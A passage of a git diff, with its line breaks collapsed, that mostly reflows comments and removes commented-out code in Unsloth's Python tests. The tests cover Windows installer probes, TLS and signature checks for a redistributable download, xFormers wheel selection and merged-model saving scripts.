stupython.write_bytes(b"python")monkeypatch.setattr(studio.platform, "system", lambda: "Windows")- # The layout says yes, so any pass below is the fallback and not the layout- # being empty.assert studio._managed_cli_site_packages_layout(python)def blocked(*_args, **_kwargs):@@ -1085,9 +1052,8 @@ def test_a_probe_that_cannot_start_the_interpreter_fails_closed(monkeypatch, stumonkeypatch.setattr(studio.subprocess, "run", blocked)assert not studio._managed_cli_package_present(python)- # A timeout is the other kind of no verdict, and it keeps the fallback: slow- # is not broken, a cold venv under an antivirus scan is exactly this, and the- # re-exec has no timeout of its own to trip over.+ # A timeout is the other kind of no verdict, and it keeps the fallback: slow is not broken, a cold venv under an+ # antivirus scan is exactly this, and the re-exec has no timeout of its own to trip over.def slow(*_args, **_kwargs):raise subprocess.TimeoutExpired(cmd = "probe", timeout = 60)@@ -1108,7 +1074,6 @@ def test_the_interpreter_fallback_waits_as_long_as_the_import_probe(studio):source = inspect.getsource(transaction._interpreter_health_error)assert "_MANAGED_CLI_IMPORT_PROBE_TIMEOUT" in sourceassert "_VERSION_TIMEOUT_SECONDS" not in source- # And the two are actually different, so the assertion above is not vacuous.assert studio._MANAGED_CLI_IMPORT_PROBE_TIMEOUT > transaction._VERSION_TIMEOUT_SECONDS@@ -1135,8 +1100,7 @@ def test_a_custom_root_survives_the_launcher_being_quarantined(monkeypatch, stud)assert studio._looks_like_installer_managed_studio_home(root)- # The launcher still answers on its own, so an install that never lost it is- # unaffected either way.+ # The launcher still answers on its own, so an install that never lost it is unaffected either way.shim.unlink()(root / "bin" / "unsloth.exe").write_bytes(b"MZ")assert studio._looks_like_installer_managed_studio_home(root)@@ -1145,8 +1109,8 @@ def test_a_custom_root_survives_the_launcher_being_quarantined(monkeypatch, stud@pytest.mark.parametrize("label, body",[- # This decides which tree the CLI manages and the directory is on PATH,- # so any file of that name would otherwise be enough to redirect a root.+ # This decides which tree the CLI manages and the directory is on PATH, so any file of that name would otherwise+ # be enough to redirect a root.("a hand-rolled wrapper", b'@echo off\r\npython -c "from unsloth_cli import app" %*\r\n'),("the marker without the call", b"@echo off\r\nrem unsloth-studio-managed-launcher\r\n"),("an unrelated batch file", b"@echo off\r\necho hello\r\n"),diff --git a/tests/python/test_windows_vcredist_download_tls.py b/tests/python/test_windows_vcredist_download_tls.pyindex 9ddf1845fff..269f5a447b5 100644--- a/tests/python/test_windows_vcredist_download_tls.py+++ b/tests/python/test_windows_vcredist_download_tls.py@@ -29,9 +29,9 @@ def _download_block() -> str:def test_the_download_is_verified_as_microsoft_signed_before_it_runs():- # No pwsh needed: Get-AuthenticodeSignature is Windows-only, so the ordering of the three- # steps in the real block is the thing to hold still. A verification placed after- # Start-Process, or one that only checks Status, would still "pass" on a swapped binary.+ # No pwsh needed: Get-AuthenticodeSignature is Windows-only, so the ordering of the three steps in the real block is+ # the thing to hold still. A verification placed after Start-Process, or one that only checks Status, would still+ # "pass" on a swapped binary.block = _download_block()download = block.index("Invoke-WebRequest")verify = block.index("Get-AuthenticodeSignature", download)@@ -43,8 +43,9 @@ def test_the_download_is_verified_as_microsoft_signed_before_it_runs():def _script(starting_protocol: str) -> str:- # Start from a non-zero set that lacks Tls12. Tls13 is the only such value modern .NET- # accepts, and it stands in for the legacy Ssl3/Tls default of Windows PowerShell 5.1.+ # Start from a non-zero set that lacks Tls12.+ # Tls13 is the only such value modern .NET accepts, and it stands in for the legacy Ssl3/Tls default of Windows+ # PowerShell 5.1.return f"""function substep {{ param($a, $b) }}function Refresh-Environment {{ }}@@ -60,9 +61,8 @@ Write-Output "AFTER=$([System.Net.ServicePointManager]::SecurityProtocol)"def _run(starting_protocol: str) -> dict[str, str]:- # The TLS assertions read the BEFORE/DURING/AFTER lines this script prints, so an- # interpreter that never got as far as running the download block would look like- # setup.ps1 failing to negotiate TLS 1.2 at all.+ # The TLS assertions read the BEFORE/DURING/AFTER lines this script prints, so an interpreter that never got as far+ # as running the download block would look like setup.ps1 failing to negotiate TLS 1.2 at all.result = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", _script(starting_protocol)],check = True,@@ -91,8 +91,8 @@ def test_tls12_is_added_for_the_download_and_restored_after():@pwsh_onlydef test_system_default_is_left_alone():- # SystemDefault means "let the OS choose" and already covers TLS 1.2+; pinning it to- # Tls12 would strip TLS 1.3 from every later request in the process.+ # SystemDefault means "let the OS choose" and already covers TLS 1.2+;+ # pinning it to Tls12 would strip TLS 1.3 from every later request in the process.seen = _run("SystemDefault")assert seen["DURING"] == "SystemDefault"assert seen["AFTER"] == "SystemDefault"diff --git a/tests/python/test_windows_xformers_installer.py b/tests/python/test_windows_xformers_installer.pyindex 80c7eae4dd6..44607ced50a 100644--- a/tests/python/test_windows_xformers_installer.py+++ b/tests/python/test_windows_xformers_installer.py@@ -55,7 +55,6 @@ def _selector_harness() -> str:def _run_pwsh(script: str) -> str:# run_pwsh, not subprocess.run: a pwsh killed by a signal never ran this script, and- # `check = True` would report that as a CalledProcessError carrying the whole excerpt,# which reads as the selector being wrong. See tests/_shared/unsloth_pwsh_runner.py.result = run_pwsh(["pwsh", "-NoProfile", "-NonInteractive", "-Command", script],@@ -67,9 +66,8 @@ def _run_pwsh(script: str) -> str:# (torch.__version__, expected xFormers version or "" for "no wheel, install nothing").-# The live wheels behind each row were HEAD-verified on download.pytorch.org and their-# xformers/cpp_lib.json read back -- cu130/xformers-0.0.34 reports {"torch":-# "2.10.0+cu130"}, cu128/xformers-0.0.34 reports {"torch": "2.10.0+cu128"}.+# The live wheels behind each row were HEAD-verified on download.pytorch.org and their xformers/cpp_lib.json read back+# cu130/xformers-0.0.34 reports {"torch": "2.10.0+cu130"}, cu128/xformers-0.0.34 reports {"torch": "2.10.0+cu128"}.SELECTION_CASES = [("2.10.0+cu130", "0.0.34"),("2.10.0+cu128", "0.0.34"),@@ -82,25 +80,24 @@ SELECTION_CASES = [("2.7.1+cu128", "0.0.31.post1"),# 0.0.30 predates the abi3 switch and has no cp313 wheel; the row is deliberately gone.("2.7.0+cu128", ""),- # No cu130 build of xFormers exists for torch 2.8 or earlier, and no cu118 /- # cu124 win_amd64 build exists at all -- refuse rather than serve a neighbour.+ # No cu130 build of xFormers exists for torch 2.8 or earlier, and no cu118 / cu124 win_amd64 build exists at all --+ # refuse rather than serve a neighbour.("2.8.0+cu130", ""),("2.9.0+cu118", ""),("2.10.0+cu124", ""),- # torch 2.11+ resolves to 0.0.35. It is built against 2.10.0 and loads there by- # design: xFormers moved to the PyTorch stable API/ABI in 0.0.34, whose notes state- # such builds are "compatible with any later version".+ # torch 2.11+ resolves to 0.0.35.+ # It is built against 2.10.0 and loads there by design: xFormers moved to the PyTorch stable API/ABI in 0.0.34,+ # whose notes state such builds are "compatible with any later version".("2.11.0+cu130", "0.0.35"),("2.13.0+cu128", "0.0.35"),- # And so does every release above the floor that the table cannot list, because they- # are published after this script ships. Refusing them left supported builds with no- # xFormers at all.+ # And so does every release above the floor that the table cannot list, because they are published after this script+ # ships. Refusing them left supported builds with no xFormers at all.("2.10.1+cu130", "0.0.35"),("2.11.1+cu128", "0.0.35"),("2.12.4+cu126", "0.0.35"),("2.14.0+cu130", "0.0.35"),- # Bounded in both directions: below the floor there is no stable ABI to lean on, and a- # CUDA family that publishes nothing gains no wheel from the era.+ # Bounded in both directions: below the floor there is no stable ABI to lean on, and a CUDA+ # family that publishes nothing gains no wheel from the era.("2.9.2+cu130", ""),("2.12.0+cu124", ""),# Non-CUDA and nightly builds must miss the table outright.@@ -147,25 +144,22 @@ def test_installer_installs_xformers_from_the_torch_index():assert "--default-index $_xfIndexUrl" in blockassert "xformers==$_xfVersion" in blockassert "UNSLOTH_SKIP_XFORMERS" in block- # A full-URL index pin is authoritative and is reused WHOLE. Its leaf is not required- # to name the CUDA family: a documented full-URL override can be an authenticated- # mirror, and rebuilding a download.pytorch.org URL over it strands an air-gapped host.+ # A full-URL index pin is authoritative and is reused WHOLE.+ # Its leaf is not required to name the CUDA family: a documented full-URL override can be an authenticated mirror,+ # and rebuilding a download.pytorch.org URL over it strands an air-gapped host.assert ("if ($TorchIndexUrl -and -not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL))"in block)- # The leaf is read to BUILD a URL under the override, never to throw the override away:- # a full-URL override can be an authenticated mirror whose leaf is not a family, and- # rebuilding a download.pytorch.org URL over it strands an air-gapped host.+ # The leaf is read to BUILD a URL under the override, never to throw the override away: a full-URL override can be+ # an authenticated mirror whose leaf is not a family, and rebuilding a download.pytorch.org URL over it strands an+ # air-gapped host.assert "$_xfIndexUrl = $TorchIndexUrl" in block- # Unpinned, install the direct wheel URL: --default-index does not make an index- # exclusive, and cu126/cu128/cu130 share a version string, so a machine with UV_INDEX- # set can satisfy the pin from the wrong CUDA family.assert '$_xfWheelUrl = Join-UrlPath $_xfBase "$_xfCudaTag/$_xfWheelName"' in blockassert "--reinstall-package xformers $_xfWheelUrl" in block- # The already-installed check compares against the wheel's OWN build target, not the- # resident torch: the stable-ABI wheel records the floor release it was compiled- # against, so the old comparison force-reinstalled a correct 0.0.35 on every run.+ # The already-installed check compares against the wheel's OWN build target, not the resident+ # torch: the stable-ABI wheel records the floor release it was compiled against, so the old+ # comparison force-reinstalled a correct 0.0.35 on every run.assert "Get-XformersExpectedTorchBuild -Version $_xfVersion" in block@@ -241,8 +235,8 @@ def test_installer_never_installs_an_unpinned_xformers():source = _source()for match in re.finditer(r'"xformers[^"]*"', source):spec = match.group(0)- # A wheel FILENAME is not a spec: it names one exact file and cannot resolve to- # anything else, which is the whole point of preferring it.+ # A wheel FILENAME is not a spec: it names one exact file and cannot resolve to anything else, which is the+ # whole point of preferring it.if spec.endswith('.whl"'):continueassert spec == '"xformers==$_xfVersion"', f"unpinned xFormers spec in install.ps1: {spec}"@@ -279,18 +273,17 @@ def test_installed_build_probe_reads_cpp_lib_json():block = _extract(r" function Get-InstalledXformersBuild \{.*?^ \}", _source())assert "cpp_lib.json" in blockassert "find_spec" in block- # Reading the file rather than importing xformers keeps a mismatched .pyd from writing- # its own warning into the probe output. Every release from 0.0.31 on ships- # cpp_lib.json, 0.0.35 included, so absence means an unbuilt or source install.+ # Reading the file rather than importing xformers keeps a mismatched .pyd from writing its own warning into the+ # probe output.+ # Every release from 0.0.31 on ships cpp_lib.json, 0.0.35 included, so absence means an unbuilt or source install.assert "import xformers" not in block# Invoke-BoundedPythonProbe interpolates the code into a double-quoted -c argument.assert '"' not in block.split("$code = ", 1)[1].split("\n", 1)[0].strip("'")# Torch releases the exact tables cannot list, and the answer both selectors must give.-# The two implementations resolve the same machine (install.ps1 during install, wheel_utils-# on demand from Unsloth), so a fallback that lives in only one of them is a machine whose-# answer changes depending on which one asked.+# The two implementations resolve the same machine (install.ps1 during install, wheel_utils on demand from Unsloth), so+# a fallback that lives in only one of them is a machine whose answer changes depending on which one asked.STABLE_ABI_PARITY_CASES = [("2.10.1+cu130", "13.0", "0.0.35"),("2.11.1+cu128", "12.8", "0.0.35"),@@ -337,8 +330,8 @@ def test_the_already_installed_check_uses_the_wheels_own_build_target():"Write-Output \"[$(Get-XformersExpectedTorchBuild -Version '0.0.34' ""-TorchVersion '2.10.0+cu128' -CudaTag 'cu128')]\"\n")- # The stable-ABI wheel reports the floor release; an exact-era wheel reports the torch- # it was pinned to, which is the resident one.+ # The stable-ABI wheel reports the floor release; an exact-era wheel reports the torch it was pinned to, which is+ # the resident one.assert out.splitlines() == ["[2.10.0+cu130]", "[2.10.0+cu128]"]diff --git a/tests/saving/gpt-oss-merge/test_merged_model.py b/tests/saving/gpt-oss-merge/test_merged_model.pyindex 81365d9ff4f..ec9e0842878 100644--- a/tests/saving/gpt-oss-merge/test_merged_model.py+++ b/tests/saving/gpt-oss-merge/test_merged_model.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -11,7 +10,6 @@ _require_opt_in("GPU + Hub saving script; its body runs at import.",)-# inference_on_merged.pyfrom unsloth import FastLanguageModelfrom transformers import TextStreamerimport torch@@ -42,7 +40,6 @@ merged_model, merged_tokenizer = FastLanguageModel.from_pretrained()print("✅ Merged model loaded successfully.")-# --- Run Inference ---print("\n🚀 Running inference...")messages = [{"role": "user", "content": "Solve x^5 + 3x^4 - 10 = 3."},@@ -58,7 +55,6 @@ inputs = merged_tokenizer.apply_chat_template(_ = merged_model.generate(**inputs, max_new_tokens = 512, streamer = TextStreamer(merged_tokenizer))print("\n✅ Inference complete.")-# --- Final Cleanup ---print("\n🧹 Cleaning up merged model directory and cache...")del merged_model, merged_tokenizertorch.cuda.empty_cache()diff --git a/tests/saving/gpt-oss-merge/train_and_merge.py b/tests/saving/gpt-oss-merge/train_and_merge.pyindex aca5b1a19bd..840a4a54a6e 100644--- a/tests/saving/gpt-oss-merge/train_and_merge.py+++ b/tests/saving/gpt-oss-merge/train_and_merge.py@@ -33,7 +33,6 @@ def formatting_prompts_func(examples):return {"text": texts}-# --- Load 4-bit Model and Train ---print("Loading 4-bit Mxfp4 gpt-oss model for training...")max_seq_length = 1024model, tokenizer = FastLanguageModel.from_pretrained(@@ -79,12 +78,10 @@ print("Starting fine-tuning...")trainer.train()print("Fine-tuning complete.")-# --- Merge and Save ---print("\n💾 Merging and saving the 16-bit model to './gpt-oss-finetuned-merged'...")model.save_pretrained_merged(save_directory = "./gpt-oss-finetuned-merged", tokenizer = tokenizer)print("✅ Model merged and saved.")-# --- Cleanup ---print("\n🧹 Cleaning up training artifacts...")del model, trainer, tokenizer, datasettorch.cuda.empty_cache()diff --git a/tests/saving/language_models/test_merge_model_perplexity_llama_3_2.py b/tests/saving/language_models/test_merge_model_perplexity_llama_3_2.pyindex 7da16c09fb2..9500141f4a3 100644--- a/tests/saving/language_models/test_merge_model_perplexity_llama_3_2.py+++ b/tests/saving/language_models/test_merge_model_perplexity_llama_3_2.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -74,7 +73,6 @@ def load_and_compute_8bit_ppl(chat_template = "llama-3.1",)- # Load dataset fresh in subprocessdataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")def formatting_prompts_func(examples):@@ -206,12 +204,6 @@ if __name__ == "__main__":save_directory = "./unsloth_out/merged_llama_text_model", tokenizer = tokenizer)- # print("cleaning")- # del model- # del tokenizer- # torch.cuda.empty_cache()- # gc.collect()-print("Loading merged model in 4 bit for perplexity test")merged_model, merged_tokenizer = FastLanguageModel.from_pretrained(model_name = "./unsloth_out/merged_llama_text_model",diff --git a/tests/saving/language_models/test_merge_model_perplexity_mistral.py b/tests/saving/language_models/test_merge_model_perplexity_mistral.pyindex 96604689729..d8a6c7e4260 100644--- a/tests/saving/language_models/test_merge_model_perplexity_mistral.py+++ b/tests/saving/language_models/test_merge_model_perplexity_mistral.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -58,12 +57,7 @@ def load_and_compute_8bit_ppl(load_in_4bit = load_in_4bit,load_in_8bit = load_in_8bit,)- # merged_tokenizer = get_chat_template(- # merged_tokenizer,- # chat_template="llama-3.1",- # )- # Load dataset fresh in subprocess.dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")alpaca_prompt = """Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request.@@ -254,19 +248,11 @@ if __name__ == "__main__":add_to_comparison("Qlora model", ppl_model(model, tokenizer, dataset_ppl))- # Merge and save to local disk.print("merge and save to local disk")model.save_pretrained_merged(save_directory = "./unsloth_out/merged_mistral_text_model", tokenizer = tokenizer)- # print("cleaning")- # del model- # del tokenizer- # torch.cuda.empty_cache()- # gc.collect()-- # Load merged model from disk and test.print("Loading merged model in 4 bit for perplexity test")merged_model, merged_tokenizer = FastLanguageModel.from_pretrained(model_name = "./unsloth_out/merged_mistral_text_model",diff --git a/tests/saving/language_models/test_merge_model_perplexity_phi_4.py b/tests/saving/language_models/test_merge_model_perplexity_phi_4.pyindex 23f83f6e02f..26a99f46ec4 100644--- a/tests/saving/language_models/test_merge_model_perplexity_phi_4.py+++ b/tests/saving/language_models/test_merge_model_perplexity_phi_4.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -76,7 +75,6 @@ def load_and_compute_8bit_ppl(chat_template = "phi-4",)- # Load dataset fresh in subprocess.dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")def formatting_prompts_func(examples):@@ -201,18 +199,11 @@ if __name__ == "__main__":add_to_comparison("Qlora model", ppl_model(model, tokenizer, dataset_ppl))- # Merge and save to local disk.print("merge and save to local disk")model.save_pretrained_merged(save_directory = "./unsloth_out/merged_phi4_text_model", tokenizer = tokenizer)- # print("cleaning")- # del model- # del tokenizer- # torch.cuda.empty_cache()- # gc.collect()-print("Loading merged model in 4 bit for perplexity test")merged_model, merged_tokenizer = FastLanguageModel.from_pretrained(model_name = "./unsloth_out/merged_phi4_text_model",diff --git a/tests/saving/language_models/test_merged_model_perplexity_llama_3_1_8b.py b/tests/saving/language_models/test_merged_model_perplexity_llama_3_1_8b.pyindex a80e07da57f..a3474444404 100644--- a/tests/saving/language_models/test_merged_model_perplexity_llama_3_1_8b.py+++ b/tests/saving/language_models/test_merged_model_perplexity_llama_3_1_8b.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -73,7 +72,6 @@ def load_and_compute_8bit_ppl(chat_template = "llama-3.1",)- # Load dataset fresh in subprocessdataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")def formatting_prompts_func(examples):@@ -205,18 +203,11 @@ if __name__ == "__main__":add_to_comparison("Qlora model", ppl_model(model, tokenizer, dataset_ppl))- # save and merge the model to local diskprint("merge and save to local disk")model.save_pretrained_merged(save_directory = "./unsloth_out/merged_llama_text_model", tokenizer = tokenizer)- # print("cleaning")- # del model- # del tokenizer- # torch.cuda.empty_cache()- # gc.collect()-print("Loading merged model in 4 bit for perplexity test")merged_model, merged_tokenizer = FastLanguageModel.from_pretrained(model_name = "./unsloth_out/merged_llama_text_model",diff --git a/tests/saving/language_models/test_merged_model_perplexity_qwen_2_5.py b/tests/saving/language_models/test_merged_model_perplexity_qwen_2_5.pyindex bec978d083d..f392c637459 100644--- a/tests/saving/language_models/test_merged_model_perplexity_qwen_2_5.py+++ b/tests/saving/language_models/test_merged_model_perplexity_qwen_2_5.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -102,11 +101,6 @@ def load_and_compute_8bit_ppl(load_in_4bit = load_in_4bit,load_in_8bit = load_in_8bit,)- # Set up tokenizer- # merged_tokenizer = get_chat_template(- # merged_tokenizer,- # chat_template="llama-3.1",- # )dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")@@ -166,13 +160,6 @@ def load_and_compute_8bit_ppl(result_queue.put(ppl_value)- # Clean up- # del merged_model- # del merged_tokenizer- # del dataset_ppl- # torch.cuda.empty_cache()- # gc.collect()-if __name__ == "__main__":mp.set_start_method("spawn", force = True)@@ -257,12 +244,6 @@ if __name__ == "__main__":save_directory = "./unsloth_out/merged_qwen_text_model", tokenizer = tokenizer)- # print("cleaning")- # del model- # del tokenizer- # torch.cuda.empty_cache()- # gc.collect()-print("Loading merged model in 4 bit for perplexity test")merged_model, merged_tokenizer = FastLanguageModel.from_pretrained(model_name = "./unsloth_out/merged_qwen_text_model",diff --git a/tests/saving/language_models/test_push_to_hub_merged.py b/tests/saving/language_models/test_push_to_hub_merged.pyindex abf14c54805..a0cf162b161 100644--- a/tests/saving/language_models/test_push_to_hub_merged.py+++ b/tests/saving/language_models/test_push_to_hub_merged.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -190,7 +189,6 @@ except Exception as e:print(f"❌ Download failed: {e}")raise Exception("Model download failed.")-# Final report.print("\n" + "=" * 80)print("=== VALIDATION REPORT ===".center(80))print("=" * 80 + "\n")@@ -204,6 +202,5 @@ if all(success.values()):else:raise Exception("Validation failed for one or more stages.")-# final cleanup.safe_remove_directory("./outputs")safe_remove_directory("./unsloth_compiled_cache")diff --git a/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py b/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.pyindex cd583d1e271..ed5e93f900a 100644--- a/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py+++ b/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -45,7 +44,6 @@ from tests.utils.perplexity_eval import ()-# Define helper functions outside of maindef formatting_prompts_func(examples):convos = examples["messages"]texts = [@@ -147,7 +145,6 @@ trainer = train_on_responses_only(trainer_stats = trainer.train()-# Resolve HF username + token (prompt if unset).hf_username = os.environ.get("HF_USER", "")if not hf_username:hf_username = input("Please enter your Hugging Face username: ").strip()@@ -166,7 +163,6 @@ success = {"download": False,}-# Stage 1: Upload model to Hubtry:print("\n" + "=" * 80)print("=== UPLOADING MODEL TO HUB ===".center(80))@@ -178,7 +174,6 @@ except Exception as e:print(f"❌ Failed to upload model: {e}")raise Exception("Model upload failed.")-# Stage 2: Verify safetensors.index.json existstry:print("\n" + "=" * 80)print("=== VERIFYING REPO CONTENTS ===".center(80))@@ -197,14 +192,12 @@ except Exception as e:print(f"❌ Verification failed: {e}")raise Exception("Repo verification failed.")-# Stage 3: Test downloading the model (even if cached)safe_remove_directory("./RTannous")try:print("\n" + "=" * 80)print("=== TESTING MODEL DOWNLOAD ===".center(80))print("=" * 80 + "\n")- # Force download even if cachedmodel, tokenizer = FastLanguageModel.from_pretrained(f"{hf_username}/merged_llama_text_model")success["download"] = Trueprint("✅ Model downloaded successfully!")@@ -212,7 +205,6 @@ except Exception as e:print(f"❌ Download failed: {e}")raise Exception("Model download failed.")-# Final reportprint("\n" + "=" * 80)print("=== VALIDATION REPORT ===".center(80))print("=" * 80 + "\n")@@ -226,6 +218,5 @@ if all(success.values()):else:raise Exception("Validation failed for one or more stages.")-# final cleanupsafe_remove_directory("./outputs")safe_remove_directory("./unsloth_compiled_cache")diff --git a/tests/saving/language_models/test_save_merged_grpo_model.py b/tests/saving/language_models/test_save_merged_grpo_model.pyindex 6b0025f525e..1e5c605d981 100644--- a/tests/saving/language_models/test_save_merged_grpo_model.py+++ b/tests/saving/language_models/test_save_merged_grpo_model.py@@ -1,8 +1,7 @@# -*- coding: utf-8 -*-"""Llama 3.1 (3B) GRPO LoRA train + merged-model save/eval."""-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -533,7 +532,6 @@ def training_run(result_queue):gradient_accumulation_steps = 4,warmup_steps = 5,num_train_epochs = 1,- # max_steps = 60,learning_rate = 2e-4,fp16 = not is_bfloat16_supported(),bf16 = is_bfloat16_supported(),@@ -638,8 +636,6 @@ def training_run(result_queue):num_generations = 8,max_prompt_length = max_prompt_length,max_completion_length = max_seq_length - max_prompt_length,- # num_train_epochs = 1, # Set to 1 for a full training run- # max_steps = 250,max_steps = 1000,save_steps = 250,max_grad_norm = 0.1,@@ -713,43 +709,6 @@ def training_run(result_queue):torch.cuda.empty_cache()gc.collect()- # # Merged model load 16 bits model AIME eval- # result_queue = mp.Queue()- # p = mp.Process(target=evaluate_merged_model, args=(result_queue, False, False))- # p.start()- # p.join()- #- # merged_16bits = result_queue.get()- # all_results.append(merged_16bits)- #- # # Clean up- # del merged_model- # del merged_tokenizer- # del dataset_ppl- # torch.cuda.empty_cache()- # gc.collect()- #- # safe_remove_directory("./unsloth_compiled_cache")- #- # # Merged model load 8 bits model AIME eval- #- # result_queue = mp.Queue()- # p = mp.Process(target=evaluate_merged_model, args=(result_queue, False, True))- # p.start()- # p.join()- #- # merged_16bits = result_queue.get()- # all_results.append(merged_16bits)-- # Merged model load 4 bits AIME eval- # result_queue = mp.Queue()- # p = mp.Process(target=evaluate_merged_model, args=(result_queue, True, False))- # p.start()- # p.join()- #- # merged_16bits = result_queue.get()- # all_results.append(merged_16bits)-if __name__ == "__main__":mp.set_start_method("spawn", force = True)@@ -763,7 +722,6 @@ if __name__ == "__main__":results = result_queue.get()all_results = results- # Evaluate merged model loaded 16bit.p = mp.Process(target = evaluate_merged_model, args = (result_queue, False, False))p.start()p.join()@@ -772,7 +730,6 @@ if __name__ == "__main__":all_results.append(merged_load_16bits)safe_remove_directory("./unsloth_compiled_cache")- # Merged model load 8 bits model AIME evalp = mp.Process(target = evaluate_merged_model, args = (result_queue, False, True))p.start()p.join()@@ -782,7 +739,6 @@ if __name__ == "__main__":safe_remove_directory("./unsloth_compiled_cache")- # Merged model load 4 bits model AIME evalp = mp.Process(target = evaluate_merged_model, args = (result_queue, True, False))p.start()p.join()diff --git a/tests/saving/non_peft/test_whisper_non_peft.py b/tests/saving/non_peft/test_whisper_non_peft.pyindex eb318403d28..3616f95f49d 100644--- a/tests/saving/non_peft/test_whisper_non_peft.py+++ b/tests/saving/non_peft/test_whisper_non_peft.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -35,7 +34,6 @@ model, tokenizer = FastModel.from_pretrained(auto_model = WhisperForConditionalGeneration,whisper_language = "English",whisper_task = "transcribe",- # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf)print("✅ Base model loaded successfully!")diff --git a/tests/saving/test_compressed_export_schemes.py b/tests/saving/test_compressed_export_schemes.pyindex 2acab1c087a..05d58e4f45c 100644--- a/tests/saving/test_compressed_export_schemes.py+++ b/tests/saving/test_compressed_export_schemes.py@@ -35,7 +35,6 @@ def test_every_alias_round_trips_case_and_separator_insensitive():for alias, value in COMPRESSED_EXPORT_SCHEMES.items():assert _normalize_compressed_method(alias) == valueassert _normalize_compressed_method(alias.upper()) == value- # users may pass dashes / surrounding whitespaceassert _normalize_compressed_method(f" {alias.replace('_', '-')} ") == value@@ -50,8 +49,8 @@ def test_standard_save_methods_are_not_treated_as_compressed(method):"method", ["fp8_turbo", "nvfp4_xl", "w4a99", "mxfp3", "int8_banana", "fp4_max"])def test_near_miss_compressed_names_raise(method):- # Names that clearly intend a compressed scheme but are unsupported must fail loudly,- # not fall through to the generic "unknown save_method" path.+ # Names that clearly intend a compressed scheme but are unsupported must fail loudly, not fall through to the+ # generic "unknown save_method" path.with pytest.raises(RuntimeError):_normalize_compressed_method(method)diff --git a/tests/saving/test_export_api_surface.py b/tests/saving/test_export_api_surface.pyindex 7955b50968a..2ea8e8752e8 100644--- a/tests/saving/test_export_api_surface.py+++ b/tests/saving/test_export_api_surface.py@@ -86,7 +86,6 @@ def test_all_merged_savers_dispatch_compressed_export():def test_public_export_methods_are_attached():- # Collect every `<obj>.<attr> = ...` target name in patch_saving_functions.patch_fn = _func(SAVE_TREE, "patch_saving_functions")attached = {t.attr@@ -149,11 +148,10 @@ def test_export_subprocesses_are_shell_safe():def test_compressed_export_propagates_variant():- # save_pretrained_merged(..., save_method="fp8", variant="foo") must not leave the variant on- # the intermediate 16bit merge - the converter subprocess reloads that dir with default weight- # filenames, so variant-named shards there would break the reload after the merge. The variant- # is popped out of the merge kwargs and forwarded via --variant, which applies it to the final- # compressed checkpoint. Guards this subprocess-bridged contract without a GPU.+ # save_pretrained_merged(..., save_method="fp8", variant="foo") must not leave the variant on the intermediate 16bit+ # merge - the converter subprocess reloads that dir with default weight filenames, so variant-named shards there+ # would break the reload after the merge. The variant is popped out of the merge kwargs and forwarded via --variant,+ # which applies it to the final compressed checkpoint. Guards this subprocess-bridged contract without a GPU.helper_src = ast.get_source_segment(SAVE_SRC, _func(SAVE_TREE, "_unsloth_save_compressed_tensors"))@@ -171,6 +169,6 @@ def test_compressed_export_propagates_variant():def test_compressed_quantize_runner_parses():- # The standalone runner is invoked by path in a subprocess; make sure it stays importable- # (valid syntax) so a typo there is caught without launching the subprocess.+ # The standalone runner is invoked by path in a subprocess; make sure it stays importable (valid syntax) so a typo+ # there is caught without launching the subprocess.ast.parse(QUANT_PY.read_text(encoding = "utf-8"), filename = str(QUANT_PY))diff --git a/tests/saving/test_export_dispatch.py b/tests/saving/test_export_dispatch.pyindex 656d4ffbc5b..a92d4a5002d 